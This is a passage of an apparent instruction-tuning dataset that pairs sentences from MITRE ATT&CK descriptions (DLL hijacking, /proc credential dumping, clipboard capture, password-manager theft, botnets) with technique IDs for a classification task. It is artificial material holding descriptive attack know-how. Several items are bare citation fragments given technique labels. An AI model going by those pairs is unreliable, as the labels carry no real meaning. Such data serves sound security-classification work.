paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fireeye Hunting COM June 2019)(Citation: ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ProjectZero File Write EoP Apr 2018)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ProjectZero File Write EoP Apr 2018) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems use a common method to look for required DLLs to load into a program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems use a common method to look for required DLLs to load into a program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary can hijack DLL loads.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary can hijack DLL loads. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Security Advisory 2269637)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Security Advisory 2269637) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation:", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once established within a system or network, an adversary may use automated techniques for collecting internal data. ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This functionality could also be built into remote access tools.", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality could also be built into remote access tools. ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", "output": "T1119", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments. ### Response: T1119."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", "output": "T1115", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect data stored in the clipboard from users copying information within or between applications. ### Response: T1115."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B)", "output": "T1115", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) ### Response: T1115."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)", "output": "T1115", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre) ### Response: T1115."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials from the proc filesystem or `/proc`.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials from the proc filesystem or `/proc`. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation:", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "baeldung Linux proc map 2022)", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: baeldung Linux proc map 2022) ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When running without privileged access, processes can still view their own virtual memory locations.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When running without privileged access, processes can still view their own virtual memory locations. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation:", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Polop Linux PrivEsc Gitbook)", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Polop Linux PrivEsc Gitbook) ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting.", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service.", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password managers are applications designed to store user credentials, normally in an encrypted database.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password managers are applications designed to store user credentials, normally in an encrypted database. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials are typically accessible after a user provides a master password that unlocks the database.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials are typically accessible after a user provides a master password that unlocks the database. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the database is unlocked, these credentials may be copied to memory.", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the database is unlocked, these credentials may be copied to memory. ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation:", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NVD CVE-2019-3610)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NVD CVE-2019-3610) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", "output": "T1555.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019) ### Response: T1555.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll.", "output": "T1103", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or 